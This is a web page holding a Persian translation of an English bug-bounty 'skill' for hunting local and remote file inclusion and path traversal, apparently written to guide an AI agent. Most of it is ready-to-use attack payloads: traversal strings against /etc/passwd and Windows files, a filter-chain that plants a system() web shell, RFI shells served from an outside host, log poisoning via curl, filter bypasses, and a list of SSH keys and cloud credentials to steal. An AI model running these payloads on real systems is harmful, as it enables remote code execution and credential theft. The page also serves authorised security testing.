hunt-lfi

skillupstreamکلاس آسیب‌پذیریگزارش: ۲۴۱۶ کیلوبایت۱۰ بخش

شکار Local File Inclusion ‏(LFI)، Remote File Inclusion ‏(RFI) و Path Traversal — خواندن `/etc/passwd`، log poisoning ← RCE، RCE با PHP filter-chain (بدون نیاز به آپلود)، wrapperهای `php://` / `data://` / `zip://` / `phar://`، RFI از طریق `allow_url_include` و traversal خواندن/نوشتن/حذف. پوشش مبتنی‌بر ۳۱ گزارش افشاشده.

توضیح انگلیسی اصلی (مرجع)

Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-lfiشروع اجرا
۱
‏نیاز دارد sink مربوط به include scheme مربوط به `php://filter` را بپذیرد (بیشتر sinkهای LFI که `include`/`require`/`file_get_contents` را روی پارامتر صدا می‌زنند می‌پذیرند).
۲
؟ تصمیم‏‏payloadها بلند می‌شوند (۱۰–۵۰KB). اگر پارامتر سقف طول دارد یا WAF روی سایز بلاک می‌کند، آن را به body مربوط به POST ببر، یا از payload حداقلی استفاده کن (`<?=`shorthand`?>`).
۳
؟ تصمیم‏برای اهداف کور، payload مربوط به زنجیره را روی callback مربوط به Collaborator بگذار (`<?php file_get_contents("http://x.<collab>/".`id`);?>`) تا اجرا را OOB تأیید کنی.
۴
‏این حتی وقتی log poisoning شکست می‌خورد کار می‌کند (لاگ‌های ناخوانا، `open_basedir`). هرجا خواندن php:// filter داری امتحانش کن.
۵
‏هدف مارکر یکتا انتخاب کن: فایلی که محتوایش را دقیقاً می‌توانی fingerprint کنی (`/etc/passwd` ← grep `^root:`). برای کور، از خواندن base64 با php://filter استفاده کن و رمزگشایی کن — base64 جزئی/بریده‌شده باز به سورس قابل‌تشخیص رمزگشایی می‌شود.
۶
‏به‌ازای هر sink یک payload با sub-tag مربوط به Collaborator بساز (`lfi-page.<collab>`، `lfi-tpl.<collab>`) تا callbackها مشخص کنند کدام پارامتر شلیک کرد.
۷
‏بفرست، ۳۰–۱۲۰ ثانیه صبر کن، OOB را poll کن.
۸
‏فقط پس از تطبیق محتوا، callback مربوط به Collaborator یا دلتای timing/طول سه‌بار-تأییدشده‌ی پایدار LFI ادعا کن. مسیرهای echoشده و تغییرهای تنهای کد وضعیت پس گرفته می‌شوند.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۸ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-lfiکلاس آسیب‌پذیری · ۱۰ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳دروازه‌ی اعتبارسنجی۴سطح حمله و سیگنال‌ها۵مراحل شکار۶بخش تکمیلی۷بخش تکمیلی۸Payload و الگوهای تشخیص۹زنجیره‌ها و ترکیب‌ها۱۰دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۳اهداف ارزشمند · ۱دروازه‌ی اعتبارسنجی · ۳سطح حمله و سیگنال‌ها · ۱Payload و الگوهای تشخیص · ۲

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۰

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

# HUNT-LFI — Local / Remote File Inclusion و Path Traversal

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۰

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏LFIای که به اجرای کد برسد Critical است. خواندن-فایل خالص وقتی secretها را لو بدهد (.env، wp-config.php، کلیدهای خصوصی، credentialهای cloud) High است، و وقتی فقط فایل‌های غیرحساس را بخواند Medium.

‏زنجیره‌های باارزش‌ترین (به ترتیب تقریبی قابلیت‌اعتماد در ۲۰۲۶):

  • ‏‏PHP filter-chain ← RCE — پیش‌فرض مدرن. یک primitive خواندن-فایل ساده‌ی php://filter با زنجیره‌سازی تبدیل‌های iconv برای جعل payload دلخواه PHP در حافظه به RCE ارتقا می‌یابد، بدون endpoint آپلود و بدون فایل قابل‌نوشتن (Synacktiv، ۲۰۲۲). بخش اختصاصی پایین را ببین. این تنها مؤثرترین چیزی است که باید امتحان کنی و بیشترین چیزی است که از دست می‌رود.
  • ‏‏Log poisoning ← RCE — PHP را به لاگ Apache/Nginx تزریق کن (User-Agent / مسیر URL)، بعد لاگ را include کن. به‌طور فزاینده‌ای توسط open_basedir و پرمیشن‌های خواندنی‌نشدن لاگ بلاک می‌شود، پس اول تأیید کن لاگ خواندنی است.
  • ‏‏wrapperهای PHP ← افشای سورس — php://filter/convert.base64-encode/resource=index.php سورس را لو می‌دهد؛ سورس را بخوان تا sinkهای LFI بیشتر، secretها و مسیر پایه‌ی include را پیدا کنی.
  • ‏‏RFI ← RCE — وقتی allow_url_include=On است، ?file=http://OOB/shell.txt کد ریموت را می‌گیرد و اجرا می‌کند. در پیکربندی‌های مدرن نادر ولی وقتی هست به‌سادگی Critical است.
  • ‏deserialization مربوط به phar:// — یک PHAR ساختگی + هر sink مربوط به unserialize-روی-متادیتا ← RCE با تزریق شی.
  • ‏زنجیره‌های zip:// / data:// و session/upload poisoning وقتی فیلترها wrapperها را بلاک می‌کنند.
۳

دروازه‌ی اعتبارسنجی

OOB / Blind-LFI Confirmation Gate (Read First)
ترجمه‌ی کامل ✓بخش ۳ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏LFI غالباً کور است: محتوای include‌شده parse/اجرا می‌شود ولی هرگز reflect نمی‌شود، یا صفحه فایل را داخل تمپلیتی که نمی‌بینی قورت می‌دهد. از سیگنال‌های غیرمستقیم به‌تنهایی LFI ادعا نکن.

چه چیزی تأیید نیست
  • ‏کد وضعیت یا رشته‌ی خطای متفاوت برای ../../etc/passwd در برابر مقدار عادی. اپ ممکن است ../ را string-match کند و ۴۰۳/۵۰۰ آماده برگرداند بدون اینکه به filesystem دست بزند.
  • ‏ورودی‌ات که داخل پیام خطا echo می‌شود (مثل failed to open '/var/www/../../etc/passwd'). آن formatter مربوط به مسیر است نه اثبات خوانده‌شدن فایل. خواندن واقعی محتوای فایل را نشان می‌دهد نه مسیر تو را.
  • ‏صفحه‌ای که «متفاوت به نظر می‌رسد». صفحات reflected-input یا بلاک WAF تفاوت‌هایی نامرتبط با خواندن واقعی تولید می‌کنند.
چه چیزی تأیید است
  • ‏خواندن مستقیم: محتوای واقعی فایل ظاهر می‌شود (خط واقعی root:x:0:0:، سورس واقعی PHP پس از رمزگشایی base64 خروجی فیلتر).
  • ‏خواندن کور از طریق exfil مربوط به OOB: از زنجیره‌ی php://filter یا سبک XXE استفاده کن که payloadش callback مربوط به DNS/HTTP به ساب‌دامین Burp Collaborator تو می‌زند، یا wrapperی مثل expect:// که request خروجی trigger می‌کند. یک hit یکتا-به‌ازای-هر-sink در Collaborator (DNS + HTTP، با IP مبدأ سرور) اثبات می‌کند include اجرا شد.
  • ‏خواندن کور از طریق تفاضل/timing: فایلی را include کن که می‌دانی وجود دارد و بزرگ است (/etc/passwd) در برابر یکی که نیست (/etc/passwd_nope_<rand>). دلتای طول-پاسخ یا latency پایدار و تکرارپذیر = دسترسی واقعی به filesystem. با مسیر شناخته‌شده‌ی سوم تأیید کن تا تصادف رد شود.
فلوی کاری پیش‌فرض
  1. ‏هدف مارکر یکتا انتخاب کن: فایلی که محتوایش را دقیقاً می‌توانی fingerprint کنی (/etc/passwd ← grep ^root:). برای کور، از خواندن base64 با php://filter استفاده کن و رمزگشایی کن — base64 جزئی/بریده‌شده باز به سورس قابل‌تشخیص رمزگشایی می‌شود.
  2. ‏به‌ازای هر sink یک payload با sub-tag مربوط به Collaborator بساز (lfi-page.<collab>، lfi-tpl.<collab>) تا callbackها مشخص کنند کدام پارامتر شلیک کرد.
  3. ‏بفرست، ۳۰–۱۲۰ ثانیه صبر کن، OOB را poll کن.
  4. ‏فقط پس از تطبیق محتوا، callback مربوط به Collaborator یا دلتای timing/طول سه‌بار-تأییدشده‌ی پایدار LFI ادعا کن. مسیرهای echoشده و تغییرهای تنهای کد وضعیت پس گرفته می‌شوند.
مراحل استخراج‌شده
  1. ۱‏کد وضعیت یا رشته‌ی خطای متفاوت برای `../../etc/passwd` در برابر مقدار عادی. اپ ممکن است `../` را string-match کند و ۴۰۳/۵۰۰ آماده برگرداند بدون اینکه به filesystem دست بزند.
  2. ۲‏ورودی‌ات که داخل پیام خطا echo می‌شود (مثل `failed to open '/var/www/../../etc/passwd'`). آن *formatter* مربوط به مسیر است نه اثبات خوانده‌شدن فایل. خواندن واقعی محتوای فایل را نشان می‌دهد نه مسیر تو را.
  3. ۳‏صفحه‌ای که «متفاوت به نظر می‌رسد». صفحات reflected-input یا بلاک WAF تفاوت‌هایی نامرتبط با خواندن واقعی تولید می‌کنند.
  4. ۴‏خواندن مستقیم: *محتوای* واقعی فایل ظاهر می‌شود (خط واقعی `root:x:0:0:`، سورس واقعی PHP پس از رمزگشایی base64 خروجی فیلتر).
  5. ۵‏خواندن کور از طریق exfil مربوط به OOB: از زنجیره‌ی php://filter یا سبک XXE استفاده کن که payloadش callback مربوط به DNS/HTTP به ساب‌دامین Burp Collaborator تو می‌زند، یا wrapperی مثل `expect://` که request خروجی trigger می‌کند. یک hit یکتا-به‌ازای-هر-sink در Collaborator (DNS + HTTP، با IP مبدأ سرور) اثبات می‌کند include اجرا شد.
  6. ۶‏خواندن کور از طریق تفاضل/timing: فایلی را include کن که *می‌دانی* وجود دارد و بزرگ است (`/etc/passwd`) در برابر یکی که نیست (`/etc/passwd_nope_<rand>`). دلتای طول-پاسخ یا latency پایدار و تکرارپذیر = دسترسی واقعی به filesystem. با مسیر شناخته‌شده‌ی سوم تأیید کن تا تصادف رد شود.
  7. ۷‏هدف مارکر یکتا انتخاب کن: فایلی که محتوایش را دقیقاً می‌توانی fingerprint کنی (`/etc/passwd` ← grep `^root:`). برای کور، از خواندن base64 با php://filter استفاده کن و رمزگشایی کن — base64 جزئی/بریده‌شده باز به سورس قابل‌تشخیص رمزگشایی می‌شود.
  8. ۸‏به‌ازای هر sink یک payload با sub-tag مربوط به Collaborator بساز (`lfi-page.<collab>`، `lfi-tpl.<collab>`) تا callbackها مشخص کنند کدام پارامتر شلیک کرد.
  9. ۹‏بفرست، ۳۰–۱۲۰ ثانیه صبر کن، OOB را poll کن.
  10. ۱۰‏فقط پس از تطبیق محتوا، callback مربوط به Collaborator یا دلتای timing/طول سه‌بار-تأییدشده‌ی پایدار LFI ادعا کن. مسیرهای echoشده و تغییرهای تنهای کد وضعیت پس گرفته می‌شوند.
۴

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۴ از ۱۰

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

پارامترهای URL / Body
?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
سیگنال‌های پشته‌ی فنی
سیگنالبردار
PHP ‏(X-Powered-By، .php، PHPSESSID)RCE با php:// filter-chain، phar://، zip://، data://
لاگ‌های Apache/Nginx خواندنیLog poisoning ← RCE (اول خواندنی‌بودن را تأیید کن)
Apache 2.4.49 / 2.4.50 ‏(بنر Server:)CVE-2021-41773 / CVE-2021-42013 traversal ← RCE
PHP-CGI روی Windows ‏(XAMPP، php-cgi.exe)CVE-2024-4577 arg-injection ← RCE
servlet مربوط به Java ‏(/WEB-INF/)WEB-INF/web.xml، classes/، application.properties
Python Flask/Django/proc/self/environ، settings.py، SECRET_KEY
file-serve در Node.js / res.sendFile، express.staticخواندن path-traversal، traversal مربوط به require()
Windows IIS / .NET..\..\web.config، C:\Windows\win.ini، machineKey
۵

مراحل شکار

Step-by-Step Methodology
ترجمه‌ی کامل ✓بخش ۵ از ۱۰

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

فاز ۱ — شناسایی کاندیدها
cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302
فاز ۲ — Path Traversal ‏(خواندن)
?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too
?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd                  # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config
فاز ۳ — wrapperهای PHP ‏(افشای سورس)
?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.
فاز ۴ — PHP Filter-Chain ← RCE ‏(بدون آپلود، بدون فایل قابل‌نوشتن)

تکنیک شاخص مدرن (Synacktiv، ۲۰۲۲). اگر LFI با قابلیت php:// داری که فایل می‌خواند، می‌توانی PHP دلخواه مهاجم را هم اجرا کنی. تبدیل‌های charset مربوط به iconv که داخل php://filter زنجیره می‌شوند بایت‌های کنترل‌شده تولید می‌کنند که به resource می‌چسبند تا payload کامل <?php ... ?> جعل شود — بعد include() آن را اجرا می‌کند. نه endpoint آپلود، نه دسترسی لاگ، نه مسیر قابل‌نوشتن لازم است.

# Generate the chain (public tool, no CVE — it abuses documented iconv behaviour):
#   git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id

نکته‌ها / دام‌ها:

  • ‏نیاز دارد sink مربوط به include scheme مربوط به php://filter را بپذیرد (بیشتر sinkهای LFI که include/require/file_get_contents را روی پارامتر صدا می‌زنند می‌پذیرند).
  • ‏‏payloadها بلند می‌شوند (۱۰–۵۰KB). اگر پارامتر سقف طول دارد یا WAF روی سایز بلاک می‌کند، آن را به body مربوط به POST ببر، یا از payload حداقلی استفاده کن (<?=shorthand?>).
  • ‏برای اهداف کور، payload مربوط به زنجیره را روی callback مربوط به Collaborator بگذار (<?php file_get_contents("http://x.<collab>/".id);?>) تا اجرا را OOB تأیید کنی.
  • ‏این حتی وقتی log poisoning شکست می‌خورد کار می‌کند (لاگ‌های ناخوانا، open_basedir). هرجا خواندن php:// filter داری امتحانش کن.
فاز ۵ — wrapperهای اجرای-کد (پیش‌نیازهای پیکربندی)
# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # <?php system($_GET['c']);?>

# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
#   POST ?file=php://input    body: <?php system($_GET['c']); ?>
#   (Same prerequisite as data://. Do NOT assume this works on default PHP config.)

# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id
فاز ۶ — Remote File Inclusion ‏(RFI)

‏RFI یعنی هدف include یک URL ریموت است. پیش‌نیاز: allow_url_include=On ‏(و allow_url_fopen=On). در PHP مدرن پیش‌فرض خاموش است ولی هنوز روی هاست‌های legacy/ناپیکربندی‌شده دیده می‌شود.

# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt          # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell
فاز ۷ — Log Poisoning ← RCE
# Step 1: inject PHP into a log the include can read
curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id                  # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
#   /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ
فاز ۸ — poison مربوط به Session / Upload
# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg     # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt
فاز ۸ب — sinkهای استخراج-آرشیو و پردازش-تصویر (بدون نیاز به `?file=`)

دو سطح LFI/traversal که خواندن فایل query-parameter نیستند:

  • ‏Zip Slip / فرار tar-symlink — سروری که آرشیو ارائه‌شده‌ی کاربر را untar/unzip می‌کند نام‌های entry مربوط به ../../ یا symlinkهای embed‌شده (tar آن‌ها را حفظ می‌کند) را برای خواندن/نوشتن خارج از دایرکتوری استخراج دنبال می‌کند. entry آرشیو با نام ../../../etc/cron.d/x بساز، یا symlinkی که به /etc/passwd اشاره می‌کند؛ با نوشتن canary یکتا خارج از پوشه‌ی آپلود تأیید کن. افشاشده: reports/1439593، reports/733072، reports/822262.
  • ‏sink خواندن coder مربوط به ImageMagick — قابلیت‌های convert/thumbnail/avatar تصویر فایل‌های محلی را از طریق coderهای MSL/MVG می‌خوانند حتی بدون پارامتر فایل: filename/label مثل label:@/etc/passwd، یا payload مربوط به MSL ‏(<image xlink:href="msl:/etc/passwd">) به‌علاوه‌ی pseudo-protocolهای msl:/ephemeral: (خانواده‌ی ImageTragick CVE-2016-3714). افشاشده: reports/1858574. جفت با hunt-file-upload.
فاز ۹ — خودکارسازی (بعد همه‌چیز را دستی تأیید کن)
ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
  "https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.
مراحل استخراج‌شده
  1. ۱‏نیاز دارد sink مربوط به include scheme مربوط به `php://filter` را بپذیرد (بیشتر sinkهای LFI که `include`/`require`/`file_get_contents` را روی پارامتر صدا می‌زنند می‌پذیرند).
  2. ۲‏‏payloadها بلند می‌شوند (۱۰–۵۰KB). اگر پارامتر سقف طول دارد یا WAF روی سایز بلاک می‌کند، آن را به body مربوط به POST ببر، یا از payload حداقلی استفاده کن (`<?=`shorthand`?>`).
  3. ۳‏برای اهداف کور، payload مربوط به زنجیره را روی callback مربوط به Collaborator بگذار (`<?php file_get_contents("http://x.<collab>/".`id`);?>`) تا اجرا را OOB تأیید کنی.
  4. ۴‏این حتی وقتی log poisoning شکست می‌خورد کار می‌کند (لاگ‌های ناخوانا، `open_basedir`). هرجا خواندن php:// filter داری امتحانش کن.
اسکیل‌های مرتبط:
۶

بخش تکمیلی

Named CVEs / Public Techniques (grounding)
ترجمه‌ی کامل ✓بخش ۶ از ۱۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

ارجاع‌های تأییدشده با attribution صحیح برای الگوهای بالا:

  • ‏‏PHP filter-chain به RCE — پژوهش Synacktiv ‏(۲۰۲۲)؛ php_filter_chain_generator. CVE نیست؛ سوءاستفاده از رفتار مستند iconv. دلیل ارتقای خواندن-فایل ساده به Critical.
  • ‏‏CVE-2021-41773 — path traversal در Apache HTTP Server 2.4.49 ‏(%2e در مسیر نرمال‌شده) ← خواندن فایل، و RCE وقتی mod_cgi فعال است.
  • ‏‏CVE-2021-42013 — فیکس ناقص Apache HTTP Server 2.4.50 برای مورد بالا (%%32%65 دوبار-encode‌شده) ← traversal/RCE.
  • ‏‏CVE-2024-4577 — تزریق آرگومان PHP-CGI روی Windows (encoding مربوط به Best-Fit)؛ روی پشته‌های سبک XAMPP reachable است، از file-serve به RCE زنجیر می‌شود.
نکته‌ی grounding: این اسکیل از ۳۱ گزارش افشاشده‌ی LFI/path-traversal ساخته شده. وقتی در writeup به گزارش مشخص HackerOne ارجاع می‌دهی، دقیقاً همان URL/ID گزارشی که استفاده کردی لینک کن — ID گزارش را از حافظه نقل نکن. ID اشتباه بدتر از نداشتنش است.
۷

بخش تکمیلی

Sensitive Files to Read
ترجمه‌ی کامل ✓بخش ۷ از ۱۰

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

# Linux
/etc/passwd  /etc/hosts  /etc/shadow (rarely readable)
/proc/self/environ  /proc/self/cmdline  /proc/self/status
/var/www/html/.env  /var/www/html/config.php  /var/www/html/wp-config.php
/home/*/.ssh/id_rsa  /root/.ssh/id_rsa  /root/.bash_history
/var/www/html/app/config/parameters.yml   # Symfony
.git/config  .git/HEAD  composer.json  package.json
# App / cloud secrets
/proc/self/environ  ~/.aws/credentials  ~/.docker/config.json  /run/secrets/*
# Windows / .NET
C:\Windows\win.ini  C:\inetpub\wwwroot\web.config  ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
۸

Payload و الگوهای تشخیص

Bypass Table
ترجمه‌ی کامل ✓بخش ۸ از ۱۰

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

فیلتردورزدن
../ را یک‌بار strip می‌کند....// یا ..../\ (پس از strip دوباره ../ می‌سازد)
یک‌بار URL-decode می‌کند%252f (دوبار-encode مربوط به /)، %252e برای نقطه‌ها
یک‌بار decode می‌کند، .. را بلاک می‌کندنقطه‌ها را encode کن: %2e%2e%2f / overlong مثل %c0%ae ‏(legacy)
.php به ورودی می‌چسباندکوتاه‌سازی با ? یا #؛ null byte مثل %00 ‏(PHP < 5.3.4)
scheme مربوط به php:// را بلاک می‌کندPHP://، pHp:// یا data:// / expect:// را امتحان کن
دایرکتوری پایه‌ی ثابت می‌چسباندبه‌اندازه‌ی کافی ../ برای فرار؛ یا مسیر مطلق اگر prepend ندارد
/etc/passwd تحت‌اللفظی را بلاک می‌کندpath-truncation، /etc/./passwd، /etc//passwd
WAF روی filter-chainهای بلندزنجیره را به body مربوط به POST ببر / payload را کوچک کن
Windows..\..\..\windows\win.ini، ..%5c..%5c
۹

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۹ از ۱۰

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

primitive مربوط به LFIزنجیره بهتأثیر
خواندن php://filterRCE با filter-chain (فاز ۴)RCE بدون آپلود — Critical
خواندن فایل.env / config.php / wp-config.phpcredentialهای DB، کلیدهای API ← تسخیر بک‌اند
خواندن فایل/proc/self/environ، ~/.aws/credentialssecretهای env، کلیدهای cloud ← pivot به SSRF/IAM
include مربوط به URL ریموتRFI ‏(allow_url_include)RCE مستقیم — Critical
خواندن فایل + آپلودphar:// / poison مربوط به log / sessionRCE — Critical
افشای سورسسورس کامل اپsecretهای هاردکدشده، sinkهای جدید، machineKey
۱۰

دروازه‌ی اعتبارسنجی

Validation Discipline
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۰

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏اثبات خواندن-مستقیم (نه مثبت‌کاذب):

  • ‏محتوای واقعی نشان بده نه مسیر echoشده‌ات. /etc/passwd باید خط تحت‌اللفظی root:x:0:0:root:/root: داشته باشد. پاسخ را با مقدار پارامتر شناخته‌شده مقایسه کن — دلتا باید body مربوط به فایل باشد نه صفحه‌ی WAF/خطا.
  • ‏برای خواندن سورس، base64 باید به PHP معتبر رمزگشایی شود. رمزگشایی خراب/خالی = خواندن واقعی نیست.
  • ‏reflection را رد کن: تأیید کن متن مارکر صرفاً ورودی‌ات نیست که برگشته. /etc/passwd و /etc/passwd_<rand> ‏(ناموجود) را request کن — فقط فایل واقعی محتوا برمی‌گرداند.

‏اثبات کور / OOB:

  • ‏reflection نیست؟ از payload مربوط به php://filter-chain یا RFI استفاده کن که به ساب‌دامین یکتای Burp Collaborator callback بزند. پیش از ادعای اجرای include به hit مربوط به DNS + HTTP با IP مبدأ سرور نیاز است. به‌ازای هر sink sub-tag جدا بگذار.
  • ‏کور با timing/طول: دلتای پایدار را سه‌بار تأیید کن (فایل بزرگ-شناخته‌شده در برابر فایل ناموجود در برابر فایل شناخته‌شده‌ی دوم). دلتاهای یک‌باره نویزند — پس بگیر.

‏خوانده‌های جزئی / بریده‌شده:

  • ‏تمپلیت ممکن است فایل را HTML-escape یا ببرد. از php://filter/convert.base64-encode استفاده کن تا حتی خواندن بریده‌شده به بایت‌های قابل‌تشخیص رمزگشایی شود؛ دقیقاً همان را گزارش کن که بازیابی کردی نه چیزی که فرض می‌کنی هست.

‏اثبات RCE: خروجی دستوری نشان بده که کنترلش می‌کنی — id / whoami / hostname reflect‌شده، یا callback مربوط به OOB از داخل payload اجراشده (curl http://<collab>/). «payload پذیرفته شد» RCE نیست.

‏شدت:

  • ‏خواندن فایل غیرحساس: Medium
  • ‏خواندن فایل که credentialهای DB / کلیدهای API / کلیدهای خصوصی / credentialهای cloud را لو می‌دهد: High
  • ‏‏RCE از طریق filter-chain / RFI / log / session / phar / CVE: Critical
مراحل استخراج‌شده
  1. ۱‏*محتوای* واقعی نشان بده نه مسیر echoشده‌ات. `/etc/passwd` باید خط تحت‌اللفظی `root:x:0:0:root:/root:` داشته باشد. پاسخ را با مقدار پارامتر شناخته‌شده مقایسه کن — دلتا باید body مربوط به فایل باشد نه صفحه‌ی WAF/خطا.
  2. ۲‏برای خواندن سورس، base64 باید به PHP معتبر رمزگشایی شود. رمزگشایی خراب/خالی = خواندن واقعی نیست.
  3. ۳‏reflection را رد کن: تأیید کن متن مارکر صرفاً ورودی‌ات نیست که برگشته. `/etc/passwd` و `/etc/passwd_<rand>` ‏(ناموجود) را request کن — فقط فایل واقعی محتوا برمی‌گرداند.
  4. ۴‏reflection نیست؟ از payload مربوط به php://filter-chain یا RFI استفاده کن که به ساب‌دامین یکتای Burp Collaborator callback بزند. پیش از ادعای اجرای include به hit مربوط به DNS + HTTP با IP مبدأ سرور نیاز است. به‌ازای هر sink sub-tag جدا بگذار.
  5. ۵‏کور با timing/طول: دلتای پایدار را سه‌بار تأیید کن (فایل بزرگ-شناخته‌شده در برابر فایل ناموجود در برابر فایل شناخته‌شده‌ی دوم). دلتاهای یک‌باره نویزند — پس بگیر.
  6. ۶‏تمپلیت ممکن است فایل را HTML-escape یا ببرد. از `php://filter/convert.base64-encode` استفاده کن تا حتی خواندن بریده‌شده به بایت‌های قابل‌تشخیص رمزگشایی شود؛ دقیقاً همان را گزارش کن که بازیابی کردی نه چیزی که فرض می‌کنی هست.
  7. ۷‏خواندن فایل غیرحساس: Medium
  8. ۸‏خواندن فایل که credentialهای DB / کلیدهای API / کلیدهای خصوصی / credentialهای cloud را لو می‌دهد: High
  9. ۹‏‏RCE از طریق filter-chain / RFI / log / session / phar / CVE: Critical